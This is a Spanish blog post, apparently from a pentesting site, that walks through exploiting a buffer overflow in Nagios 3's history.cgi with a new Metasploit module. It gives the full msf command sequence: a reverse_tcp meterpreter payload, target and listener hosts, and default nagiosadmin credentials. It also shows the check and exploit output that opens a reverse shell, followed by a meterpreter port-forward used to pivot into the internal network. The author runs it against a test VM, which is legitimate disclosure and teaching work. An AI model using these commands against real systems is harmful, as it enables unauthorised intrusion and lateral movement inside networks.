jueves, 17 de enero de 2013

Explotando Nagios

Hace unos días, entre las innumerable noticias sobre las vulnerabilidades de Ruby on Rails y Java, y con el Twitter echando humo y convirtiéndose prácticamente en un mono-tema, vi entre el polvo un retweet de HD Moore que decía lo siguiente:


Nagios, para el que no lo conozca, es un software Open Source de monitorización muy extendido en pequeñas y medianas empresas. En muchas ocasiones este tipo de software es el gran olvidado, precisamente porque no son máquinas críticas para el funcionamiento de la empresa, pero no deja de ser un sistema más con un software más, que pueden tener vulnerabilidades que podrían ser explotadas. Además, como es un software utilizado para monitorizar, por definición va a tener que disponer de una visión completa o casi completa de la red, para poder monitorizar todos los servicios. Muchas veces estos sistemas tienen privilegios de acceso a otros equipos, para poder hacer comprobaciones internamente a ellos. Todo esto lo convierte en un objetivo muuuuy jugoso ¿verdad?

El caso es que el mes pasado nos encontrábamos con la publicación de la existencia de un 0-day en el binario "history.cgi" del interface web de Nagios que podría permitir ejecución de código (PUBLICACIÓN), pero no ha sido hasta hace unos pocos días que se publicó en Pastebin el primer exploit funcional, de las manos de blasty. Más tarde este mismo exploit se subiría a exploit-db (AQUÍ).

Y aquí es donde empezó mi diversión del fin de semana. El exploit original parecía ser funcional en Debian 5, según su autor, pero también se decía que era bastante difícil de explotar en la mayoría de plataformas, así que me bajé la máquina virtual que tienen en la propia web oficial de Nagios (AQUÍ), que está basada en CentOS, y me dispuse a ver que tal funcionaba el exploit.

Tras algunas pruebas, que detallaré en dos o tres post más en los que entraré más "al trapo", os presento el módulo de Metasploit que explota la vulnerabilidad, y que podéis encontrar YA actualizando vuestra herramienta del repositorio en el path exploit/unix/webapp/nagios3_history_cgi


Vamos a utilizarlo para explotar la máquina virtual que os comentaba antes, a ver que tal funciona:

msf > use exploit/unix/webapp/nagios3_history_cgi
msf  exploit(nagios3_history_cgi) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
msf  exploit(nagios3_history_cgi) > set RHOST nagios.pentester.es
msf  exploit(nagios3_history_cgi) > set TARGETURI /nagios/cgi-bin/history.cgi
msf  exploit(nagios3_history_cgi) > set LHOST 192.168.1.102

msf  exploit(nagios3_history_cgi) > set USER nagiosadmin
msf  exploit(nagios3_history_cgi) > set PASS nagiosadmin

Si el acceso es sin usuario y contraseña, podéis poner cualquier usuario, no importa. Ahora que lo tenemos configurado, vamos a comprobar que el sistema que tenemos delante es vulnerable:

msf  exploit(nagios3_history_cgi) > check

[*] Checking banner and version...
[*] Web Server banner: Apache/2.2.15 (CentOS)
[*] Nagios version detected: 3.4.1
[-] At least one ALERT is needed in order to exploit
[*] The target service is running, but could not be validated.

Mala suerte. La vulnerabilidad es un buffer overflow en el parámetro "host", pero la función que no comprueba la longitud del buffer solo es llamada si se procesa algún "ALERT" de servicio o host dentro del histórico, así que vamos a tener que esperar a que caiga algo y volver a repetir:

msf  exploit(nagios3_history_cgi) > check

[*] Checking banner and version...
[*] Web Server banner: Apache/2.2.15 (CentOS)
[*] Nagios version detected: 3.4.1
[+] The target is vulnerable.

Perfecto! Parece que este Nagios va a ser vulnerable, así que vamos a probar a lanzar el exploit, a ver como se porta y efectivamente elige el target adecuado:

msf  exploit(nagios3_history_cgi) > exploit

[*] Started reverse handler on 192.168.1.102:4444 
[*] Automatically detecting the target...
[*] Web Server banner: Apache/2.2.15 (CentOS)
[*] Nagios version detected: 3.4.1
[*] Selected Target: Appliance Nagios XI 2012R1.3 (CentOS 6.x)
[*] Sending request to http://nagios.pentester.es:80/nagios/cgi-bin/history.cgi
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1126400 bytes) to 192.168.1.104
[*] Meterpreter session 1 opened (192.168.1.102:4444 -> 192.168.1.104:60735) at Thu Jan 17 01:07:09 +0100 2013

[*] Session created, enjoy!

meterpreter > sysinfo
OS           : Linux localhost.localdomain 2.6.32-279.5.1.el6.i686 #1 SMP Tue Aug 14 21:14:52 UTC 2012 (i686)
Architecture : i686
Computer     : localhost.localdomain
Meterpreter  : x86/linux

BINGO! Ya tenemos shell dentro del sistema. Lamentablemente el servicio corre con privilegios de usuario, pero como hemos dicho podemos usarlo simplemente para redirigir nuestras conexiones hacia los servicios de toda la red interna:

meterpreter > portfwd add -l 2222 -r 192.168.1.12 -p 22
[*] Local TCP relay created: 0.0.0.0:2222 <-> 192.168.1.12:22

Vale, hemos conseguido explotar el Nagios y tenemos acceso, pero claro... la interface web de Nagios es algo que en todas partes se configura como algo interno y no es directamente accesible desde Internet ¿no?


En los próximos posts, más detalles a bajo nivel sobre el exploit y sobro como ampliar el exploit a nuevos objetivos, por si queréis contribuir con ellos.

No hay comentarios :